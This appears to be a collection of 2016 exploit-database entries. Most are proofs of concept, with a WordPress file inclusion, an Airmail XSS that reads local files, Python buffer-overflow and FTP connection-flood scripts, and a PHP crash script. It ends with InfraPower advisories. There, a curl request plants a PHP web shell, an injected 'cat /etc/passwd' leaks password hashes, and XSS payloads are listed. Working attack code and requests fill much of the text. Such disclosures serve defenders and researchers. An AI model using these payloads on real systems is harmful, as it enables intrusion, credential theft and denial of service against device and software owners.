  Outermost frame: Cannot access memory at address 0x8f6
  Arglist at 0xbef1aa50, args:
  Locals at 0xbef1aa50, Previous frame's sp is 0xbef1aa50
  (gdb) x/5i $pc
  => 0x479dc7f4 <strlen+4>:       ldr     r2, [r1], #4
    0x479dc7f8 <strlen+8>:       ands    r3, r0, #3
    0x479dc7fc <strlen+12>:      rsb     r0, r3, #0
    0x479dc800 <strlen+16>:      beq     0x479dc818 <strlen+40>
    0x479dc804 <strlen+20>:      orr     r2, r2, #255    ; 0xff
  (gdb) i r r1
  r1             0x0      0

------------------------------------------------------
Obi-9. Denial of service due to invalid content-length
------------------------------------------------------

Content-Length headers of -1, -2, or -3 result in a crash and device reboot.
This does not appear exploitable to gain execution.  Larger (more negative)
values return a page stating "Firmware Update Failed" though it does not appear
any attempt to update the firmware with the posted data occurred.

  POST / HTTP/1.1
  Host: foo
  Content-Length: -1

  Foo

This appears to write a constant value of 0 to an address controlled by the
Content-Length parameter, but since it appears to be relative to a freshly
mapped page of memory (perhaps via mmap() or malloc()), it does not appear this
can be used to gain control of the application.

  (gdb) bt
  #0  0x00138250 in HTTPD_msg_proc ()
  #1  0x00070138 in ?? ()
  (gdb) x/5i $pc
  => 0x138250 <HTTPD_msg_proc+396>:       strb    r1, [r3, r2]
    0x138254 <HTTPD_msg_proc+400>:       ldr     r1, [r4, #24]
    0x138258 <HTTPD_msg_proc+404>:       ldr     r0, [r4, #88]   ; 0x58
    0x13825c <HTTPD_msg_proc+408>:       bl      0x135a98
    0x138260 <HTTPD_msg_proc+412>:       ldr     r0, [r4, #88]   ; 0x58
  (gdb) i r r3 r2
  r3             0xafcc7000       2949410816
  r2             0xffffffff       4294967295

Mitigation
==========
Upgrade to Firmware 5-0-0-3497 (5.0.0 build 3497) or newer.

Author
======
The issues were discovered by David Tomaschik of the Google Security Team.

Timeline
========
- 2016/05/12 - Reported to ObiHai
- 2016/05/12 - Findings Acknowledged by ObiHai
- 2016/05/20 - ObiHai reports working on patches for most issues
- 2016/06/?? - New Firmware posted to ObiHai Website
- 2016/08/18 - Public Disclosure
            
# Exploit Title: Gnome Eye of Gnome Out-of-bounds-write
# Exploit Author: Kaslov Dmitri
# Vendor Homepage: https://wiki.gnome.org/Apps/EyeOfGnome
# Version: 3.10.2
# Tested on: Ubuntu 14.04 LTS
# CVE: CVE-2016-6855

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40291.zip


Reported: 19-August-2016
Fixed: 21-Agugst-2016 (fix will go into next software release)

GMarkup requires valid UTF8 input strings and would cause odd
looking messages if given invalid input. This could also trigger an
out-of-bounds write in glib before 2.44.1
            
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos 
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion 

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);


This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.


Typical proof-of-concept would be to load passwd file:


http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
            
<?php
#############################################################################
## PHP 7.0 Object Cloning Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class MyCloneableClass
{
	public $obj;
    function __clone()
    {
		$this->obj = clone $this;
		return $this->obj;
    }
}
$obj	= new MyCloneableClass();
$obj2 	= clone $obj;
?>         
            
Airmail is a popular email client on iOS and OS X.
I found a vulnerability in airmail of the latest version which could cause
a file:// xss and arbitrary file read.

Author: redrain, yu.hong@chaitin.com
Date: 2016-08-15
Version: 3.0.2 and earlier
Platform: OS X and iOS
Site: http://airmailapp.com/
Vendor: http://airmailapp.com/
Vendor Notified: 2016-08-15

Vulnerability:
There is a file:// xss in airmail version 3.0.2 and earlier.
The app can deal the URLscheme render with link detection, any user can
edit the email content in reply with the evil code with the TL;DR.

Airmail implements its user interface using an embedded version of WebKit,
furthermore Airmail on OS X will render any URI as a clickable HTML <a
href= link. An attacker can create a simple JavaScript URI (e.g.,
javascript:) which when clicked grants the attacker initial JavaScript
execution (XSS) in the context of the application DOM.


PoC:
javascript://www.baidu.com/research?%0Aprompt(1)

a

Arbitrary file read:

javascript://www.baidu.com/research?%0Afunction%20reqListener%20()%20%7B%0A%
20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%
20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%
22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%
20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
            
# Exploit Title:   ATKGFNEXSrv ATKGFNEX- Privilege Escalation Unquoted Service Path vulnerability
# Date: 13/10/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: www.asus.com
# Version:  1.0.11.1
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)
 
The application suffers from an unquoted service path issue impacting the service 'ATKGFNEXSrv (GFNEXSrv.exe)' deployed as part of ATKGFNEX

This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.
 
POC :
 
 
C:\Users\Utilisateur>sc qc "ATKGFNEXSrv"
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ATKGFNEXSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe
        LOAD_ORDER_GROUP   : ShellSvcGroup
        TAG                : 0
        DISPLAY_NAME       : ATKGFNEX Service
        DEPENDENCIES       : ASMMAP64
        SERVICE_START_NAME : LocalSystem

Additional notes :

https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu
            
# Exploit Title: VOX Music Player 2.8.8 '.pls' Local Crash PoC
# Date: 10-12-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://coppertino.com/vox/mac/
# Software Link: http://dl.devmate.com/com.coppertino.Vox/Vox.dmg
# Version: 2.8.8
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

import os

evil = '\x90'
pls = '[playlist]\n' + 'NumberOfEntries=1\n' +'File1' + evil + '\n' + 'Title1=\n' + 'Length1=-1\n'

file = open('Local_Crash_PoC.pls', 'wb')
file.write(pls)
file.close()
            
#!/usr/bin/python
# Exploit Title: Remote buffer overflow vulnerability in uSQLite 1.0.0 PoC
# Date: 27/10/1016
# Exploit Author: Peter Baris
# Software Link: https://sourceforge.net/projects/usqlite/?source=directory
# Version: 1.0.0
# Tested on: windows 7 and XP SP3

# Longer strings will cause heap based overflow

# usage:  python usqlite.py <host address>

# Output in the debugger

# EAX 0000038C
# ECX 00B0DA10
# EDX 0000038C
# EBX 41414141
# ESP 0028F8D0 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
# EBP 41414141
# ESI 41414141
# EDI 41414141

# EIP 42424242  <-- EIP is under control, but depending on the OS version, you might have issues finding a jump spot without DEP and ASLR.

###############################################################################################################################################

import socket
import sys


if len(sys.argv)<=1:
	print("Usage: python usqlite.py hostname")
	sys.exit()


hostname=sys.argv[1]
port = 3002
buffer = "A"*259+"B"*4+"C"*360

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((hostname,port))
sock.send(buffer +'\r\n')
sock.recv(1024)
sock.close()
            
Source: https://github.com/XiphosResearch/exploits/tree/master/Joomraa

While analysing the recent Joomla exploit in com_users:user.register we came across a problem with the upload whitelisting. They don't allow files containing <?php, or with the extensions .php and .phtml, but they do allow <?= and .pht files, which works out of the box on most hosting environments, including the standard Ubuntu LAMP install, as per:

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
Usage

Choose the username, password and e-mail address to use and point it at the URL for your Joomla website. Use the -x and -s options to customise exploit behaviour, -s searches for the given string in the output after running the PHP file (specified in -x), an example is provided which proves remote code execution.

$ ./joomraa.py -u hacker -p password -e hacker@example.com http://localhost:8080/joomla 

     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  

[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[+] Admin Login Success!
[+] Getting media options
[+] Setting media options
[*] Uploading exploit.pht
[*] Uploading exploit to: http://localhost:8080/joomla/images/OGBUHCF5F.pht
[*] Calling exploit
[$] Exploit Successful!
[*] SUCCESS: http://localhost:8080/joomla


Full Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40637.zip
            
#!/usr/bin/python

### Baby FTP 1.24 - Denial of Service by n30m1nd ### 

# Date: 2016-10-27
# PoC Author: n30m1nd
# Vendor Homepage: http://www.pablosoftwaresolutions.com/
# Software Link: http://www.pablosoftwaresolutions.com/download.php?id=1
# Version: 1.24
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better

# How to
# ======
# * Run this python script and write the IP to attack.

# Why?
# ====
# The FTP Server can't handle more than ~1505 connections at the same time

# Exploit code
# ============

import socket

ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
	try:
		sarr.append(socket.create_connection((ip,21)))
		print "[+] Connection %d" % i
		crash1 = "A"*500

		sarr[i].send("USER anonymous\r\n" )
		sarr[i].recv(4096)

		sarr[i].send("PASS n30m1nd\r\n" )
		sarr[i].recv(4096)
		i+=1
	except socket.error:
		print "[*] Server crashed!!"
        raw_input()
		break
            
InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: InfraPower suffers from multiple unauthenticated remote command
injection vulnerabilities. The vulnerability exist due to several POST
parameters in several scripts not being sanitized when using the exec(),
proc_open(), popen() and shell_exec() PHP function while updating the
settings on the affected device. This allows the attacker to execute
arbitrary system commands as the root user and bypass access controls in
place.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5372
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5372.php


27.09.2016

--


doupgrate.php:
--------------


09: <?
10: echo "Firmware Upgrate Using NFS:<BR>";
11: echo "IP=".$_POST["ipaddr"]."<BR>";
12: echo "Firmware Name=".$_POST["fwname"]."<BR>";
13: system("sh nfs.sh");
14: echo "Mounting NFS<BR>";
15: system("mount -t nfs -o nolock ".$_POST["ipaddr"].":".$_POST["nfsdir"]." /nfs");
16: system("cp /nfs/".$_POST["fwname"]." /");
17: echo "Flash erasing<BR>";
18: system("@flash_eraseall /dev/mtd0");
19: system("cp /".$_POST["fwname"]." /dev/mtd0");
20: echo "Upgrate done<BR>";
21: system("umount /nfs");
22: echo "Reboot system<BR>";
23: system("reboot");
24: ?>

---------------------------------------------------------------------


IPSettings.php:
---------------


83: $IP_setting = ereg_ip($_POST['IP']);
84: $Netmask_setting = ereg_ip($_POST['Netmask']);
85: $Gateway_setting = ereg_ip($_POST['Gateway']);
...
...
110:                    $fout = fopen("/mnt/mtd/net_conf", "w");
111:                    if($fout){
112:                        $output = substr($output, 0, -1);
113:                        fprintf($fout, "%s", $output);
114:                        //echo $change_ip.'b';
115:                        if($change_ip === '1'){
116:                            $str = '';
117:                            exec('ifconfig eth0 '.$IP_setting.' netmask '.$Netmask_setting, $str);
118: //                          echo $str."\n";
119:                        }
120:                        if($change_gw === '1'){
121:                            $str = '';
122:                            exec('ip route del default', $str);
123:                            exec('route add default gw '.$Gateway_setting, $str);
124: //                          echo $str[0]."a\n";
125:                        }
126:                    }
127:                    fclose($fout);
...
...
164:    function ereg_ip($ipstring){ 
165:         $ipstring=trim($ipstring); //移除前後空白 
166:        //格式錯誤 
167:        if(!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ipstring))return 0; 
168:        //內容檢查 
169:        $ip_segment =split("\.",$ipstring); //注意一定要加 "\",否則會分不開。 
170:        foreach($ip_segment as $k =>$v){ 
171:            if($v >255){ 
171:                return 0; 
172:            }
173:            $ip_segment[$k]=(int)$ip_segment[$k]; //消除ip中的0,ex:1.020.003.004 =>1.20.3.4 
174:        } //end foreach 
175:        $ipstring ="$ip_segment[0].$ip_segment[1].$ip_segment[2].$ip_segment[3]"; //將字串$ip處理 
176:        return $ipstring; 
177:    }

---------------------------------------------------------------------


Login.php:
----------


126:         $UserName = getConf("/mnt/mtd/web_conf", "UserName");
127:         $Password = getConf("/mnt/mtd/web_conf", "Password");
128:
129:         //echo 'z'.$_POST['ID_User'].';'.$UserName.' Pwd:'.$_POST['ID_Password'].';'.$Password;
130:         if($_POST['ID_User'] === $UserName && $_POST['ID_Password'] === $Password){
...
...
140:             $_SESSION['Login'] = $_POST['ID_User'];
141: 
142:             //Login
143:             $loginTime = date("Y-m-d,H:i:s.0,P");
144:             $remoteIP = $_SERVER['REMOTE_ADDR'];
145: //----------SNMP checking ---Ed 20130307------------------------<
146:             $SNMPEnable = getConf("/mnt/mtd/snmp_conf", "enable");
147:             if ($SNMPEnable == "1") {
148:                 $TrapEnable = getConf("/mnt/mtd/snmp_conf", "trap");
149:                 if ($TrapEnable == "v2Trap") {
150:                     $trapTo = getConf("/mnt/mtd/snmp_conf", "IP");
151:                     shell_exec('/usr/bin/snmptrap -M /usr/share/snmp/mibs/ -c public -v 2c ' . $trapTo . ' \'\' InfraPower-MIB::webLogin InfraPower-MIB::objectDateTime s "' . $loginTime . '"  InfraPower-MIB::userName s "' . $_POST['ID_User'] . '" InfraPower-MIB::webAccessIpAddress s "' . $remoteIP . '"');
152:                     //echo "alert($res);";
153:                 }
154:             }

---------------------------------------------------------------------


Ntp.php:
--------


36: <?php
37: if(empty($_POST['Change']))
38:   $tzone='8';
39: else
40: {
41:
42: $tzone=$_POST['ID_timezone'];
43: $idx=$tzone+12;
44: echo "update status...";
45: exec("/usr/bin/ntpclient  -s -h 220.130.158.71");
46: exec("/usr/bin/zonegen ".$idx);
47: exec("/usr/bin/zic -d /usr/bin/ zonetime");
48: exec("mv /usr/bin/localtime /etc/localtime");
49: echo "OK"; 
50: }
51: ?>

---------------------------------------------------------------------


production_test1.php:
---------------------


4:  if( isset($_POST['macAddress']) )
5:      {
6:          shell_exec("echo ". $_POST['macAddress'] . " > /mnt/mtd/mac_addr");
7:          $mac = shell_exec("cat /mnt/mtd/mac_addr");
8:          /*$result = $fail;
9:          echo $mac . ",";
10:         echo $_POST['macAddress'];
11:         if( !strcmp($mac,$_POST['macAddress']) )
12:             $result = $success;
13:         echo "verify - " . $mac . " - " . $result;*/
14:         echo "verify - " . $mac;
15:
16:         exit();
17:     }

---------------------------------------------------------------------


SNMP.php:
---------


34: if($_POST["SNMPAgent"] === "Enable"){
35:     exec('kill -9 `ps | grep "snmpd -c /mnt/mtd/snmpd.conf" | cut -c 1-5`');
36:     setConf("/mnt/mtd/snmp_conf", "enable", "1");
37:
38:     if(!empty($_POST["CommuintyString"]) && !empty($_POST["CommuintyWrite"]))
39:         {
40:               exec("cp /etc/snmpd.conf /mnt/mtd/snmpd.conf");
41:               exec("sed -i s/public/".$_POST["CommuintyString"]."/g /mnt/mtd/snmpd.conf");
42:               setConf("/mnt/mtd/snmp_conf", "pCommunity", $_POST["CommuintyString"]);
43:               setSnmpConf(1,$_POST["CommuintyString"]);
44:               setSnmpConf(2,$_POST["CommuintyWrite"]);
45:               $pCommunity = $_POST["CommuintyString"];
46:         }

---------------------------------------------------------------------


System.php:
-----------


86:    if(!empty($_POST['ChangeTime']) == "1"){
87:        if(checkdate($_POST['month'], $_POST['day'], $_POST['year']) == 1){
88:
89:        //Ray modify
90:        $datetime = date("mdHiY.s", mktime($_POST['hour']-1,$_POST['minute']-1,$_POST['second']-1,$_POST['month'],$_POST['day'],$_POST['year']));
91:        //$datetime = $_POST['month'].$_POST['day'].$_POST['hour'].$_POST['minute'].$_POST['year'].'.'.$_POST['second'];
92:        
93:
94:        if(isset($_POST['TimeZone'])){
95:            setTimeZone($_POST['TimeZone']);
96:            $orgZone = $_POST['TimeZone'];
97:        }
98:
99:        exec('date '.$datetime);
100:        exec('hwclock -w');
101:        exec('hwclock -w -f /dev/rtc1');
...
...
180:        if(isset($_POST['TimeServer'])){
181:            //$TimeServer = ereg_ip($_POST['TimeServer']);          
182:            if(!empty($_POST['TimeServer'])){
183:            $TimeServer = $_POST['TimeServer'];             
184:
185:                $returnStr = exec("/usr/bin/ntpclient  -s -h ".$TimeServer . " -i 1");
...
...
286: exec('ifconfig eth0 '.$IP_setting.' netmask '.$Netmask_setting, $str);
...
...
292: exec('route add default gw '.$Gateway_setting, $str);
...
...
336:    function ereg_ip($ipstring){
337:         $ipstring=trim($ipstring); //移除前後空白
338:        //格式錯誤
339:        if(!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ipstring))return 0;
340:        //內容檢查
341:        $ip_segment =split("\.",$ipstring); //注意一定要加 "\",否則會分不開。
342:        foreach($ip_segment as $k =>$v){
343:            if($v >255){
344:                return 0;
345:            }
346:            $ip_segment[$k]=(int)$ip_segment[$k]; //消除ip中的0,ex:1.020.003.004 =>1.20.3.4
347:        } //end foreach
348:        $ipstring ="$ip_segment[0].$ip_segment[1].$ip_segment[2].$ip_segment[3]"; //將字串$ip處理
349:        return $ipstring;
350:    }

---------------------------------------------------------------------


UploadEXE.php:
--------------


72:  if(isset($_POST['hasFile'])){
73:      if ($_FILES['ExeFile']['error'] > 0){
74:          echo 'Error: ' . $_FILES['FW']['error'];
75:      }else{
76:          echo 'File Name: ' . $_FILES['ExeFile']['name'].'<br/>';
...
...
80:          move_uploaded_file($_FILES['ExeFile']['tmp_name'], '/ramdisk/'.$_FILES['ExeFile']['name']);
81:          chmod("/ramdisk/".$_FILES['ExeFile']['name'], "0777");
82:          $fp = popen("\"/ramdisk/".$_FILES['ExeFile']['name']."\"", "r");

---------------------------------------------------------------------
---------------------------------------------------------------------
---------------------------------------------------------------------


#1
--

PoC Request:

curl -i -s -k  -X 'POST' \
    -H 'User-Agent: ZSL-Injectinator/3.1 (Unix)' -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-binary $'SNMPAgent=Enable&CommuintyString=public|%65%63%68%6f%20%22%3c%3f%70%68%70%20%65%63%68%6f%20%73%79%73%74%65%6d%28%5c%24%5f%47%45%54%5b%27%63%27%5d%29%3b%20%3f%3e%22%20%3Etest251.php%26&CommuintyWrite=private&TrapsVersion=v2Trap&IP=192.168.0.254' \
    'https://192.168.0.17/SNMP.php?Menu=SMP'

...

curl -k https://192.168.0.17/test251.php?c=whoami;echo " at ";uname -a

Response:

root 
 at
Linux A320D 2.6.28 #866 PREEMPT Tue Apr 22 16:07:03 HKT 2014 armv5tel unknown


#2
--

PoC Request:

POST /production_test1.php HTTP/1.1
Host: 192.168.0.17
User-Agent: ZSL-Injectinator/3.1 (Unix)
Content-Type: application/x-www-form-urlencoded
Connection: close

macAddress=ZE:RO:SC:IE:NC:E0;cat /etc/passwd


Response:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.9
Content-type: text/html
Connection: close
Date: Fri, 17 Jan 2003 16:58:52 GMT
Server: lighttpd/1.4.30-devel-1321
Content-Length: 751

verify - root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script
user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script
service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh
www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh
www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh
            
InfraPower PPS-02-S Q213V1 Multiple XSS Vulnerabilities


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: InfraPower suffers from multiple stored and reflected XSS vulnerabilities
when input passed via several parameters to several scripts is not properly
sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected
site.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2016-5369
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5369.php


27.09.2016

--


#################################################################################

GET /SensorDetails.php?Menu=SST&DeviceID=C100"><script>alert(1)</script> HTTP/1.1

#################################################################################

POST /FWUpgrade.php HTTP/1.1
Host: 192.168.0.17
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary207OhXVwesC60pdh
Connection: close

------WebKitFormBoundary207OhXVwesC60pdh
Content-Disposition: form-data; name="FW"; filename="somefile.php<img src=x onerror=confirm(2)>"
Content-Type: text/php

t00t
------WebKitFormBoundary207OhXVwesC60pdh
Content-Disposition: form-data; name="upfile"

somefile.php
------WebKitFormBoundary207OhXVwesC60pdh
Content-Disposition: form-data; name="ID_Page"

Firmware.php?Menu=FRM
------WebKitFormBoundary207OhXVwesC60pdh--


#################################################################################

POST /SNMP.php?Menu=SMP HTTP/1.1
Host: 192.168.0.17

SNMPAgent=Enable&CommuintyString=public&CommuintyWrite=private&TrapsVersion=v2Trap&IP=192.168.0.254';alert(3)//

#################################################################################


lqwrm@zslab:~#
lqwrm@zslab:~# ./scanmyphp -v -r -d infrapower -o scan_output.txt
-------------------------------------------------
PHP Source Code Security Scanner v0.2
(c) Zero Science Lab - http://www.zeroscience.mk
Tue Sep 27 10:35:52 CEST 2016
-------------------------------------------------

Scanning recursively...Done.

dball.php:

Line 45: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 45: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'


doupgrate.php:

Line 11: Cross-Site Scripting (XSS) in 'echo' via '$_POST'
Line 12: Cross-Site Scripting (XSS) in 'echo' via '$_POST'
Line 15: Command Injection in 'system' via '$_POST'
Line 16: Command Injection in 'system' via '$_POST'
Line 19: Command Injection in 'system' via '$_POST'


Firmware.php:

Line 166: Cross-Site Scripting (XSS) in 'echo' via '$_SERVER'


Function.php:

Line 257: Header Injection in 'header' via '$_SERVER'
Line 267: Header Injection in 'header' via '$_SERVER'


FWUpgrade.php:

Line 39: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 43: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 44: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 45: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'


index.php:

Line 2: Header Injection in 'header' via '$_SERVER'


IPSettings.php:

Warning: ereg() function deprecated in PHP => 5.3.0. Relying on this feature is highly discouraged.
Warning: split() function deprecated in PHP => 5.3.0. Relying on this feature is highly discouraged.
Line 117: Command Injection in 'exec' via '$IP_setting'
Line 117: Command Injection in 'exec' via '$Netmask_setting'
Line 123: Command Injection in 'exec' via '$Gateway_setting'


ListFile.php:

Line 12: PHP File Inclusion in 'fgets' via '$fp'


Login.php:

Line 151: Command Injection in 'shell_exec' via '$_POST'


Ntp.php:

Line 46: Command Injection in 'exec' via '$idx'


OutletDetails.php:

Line 78: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 241: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 623: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 674: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 730: Cross-Site Scripting (XSS) in 'echo' via '$row'
Line 732: Cross-Site Scripting (XSS) in 'echo' via '$row'
Line 914: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'


PDUStatus.php:

Line 625: Cross-Site Scripting (XSS) in 'echo' via '$_SERVER'


production_test1.php:

Line 6: Command Injection in 'shell_exec' via '$_POST'
Line 45: Command Injection in 'proc_open' via '$_ENV'


SensorDetails.php:

Line 844: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 896: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 1233: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'


SensorStatus.php:

Line 695: Cross-Site Scripting (XSS) in 'echo' via '$_SERVER'


SNMP.php:

Line 41: Command Injection in 'exec' via '$_POST'


System.php:

Line 54: Header Injection in 'header' via '$_SERVER'
Line 64: Header Injection in 'header' via '$_SERVER'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 185: Command Injection in 'exec' via '$TimeServer'
Line 286: Command Injection in 'exec' via '$IP_setting'
Line 286: Command Injection in 'exec' via '$Netmask_setting'
Line 292: Command Injection in 'exec' via '$Gateway_setting'


UploadEXE.php:

Line 74: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 76: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 82: Command Injection in 'popen' via '$_FILES'
Line 96: PHP File Inclusion in 'fgets' via '$fp'
Line 96: PHP File Inclusion in 'fgets' via '$buffer'


WriteRequest.php:

Line 96: Cross-Site Scripting (XSS) in 'echo' via '$_POST'
Line 96: Cross-Site Scripting (XSS) in 'echo' via '$Page'
Line 96: Cross-Site Scripting (XSS) in 'echo' via '$Page'


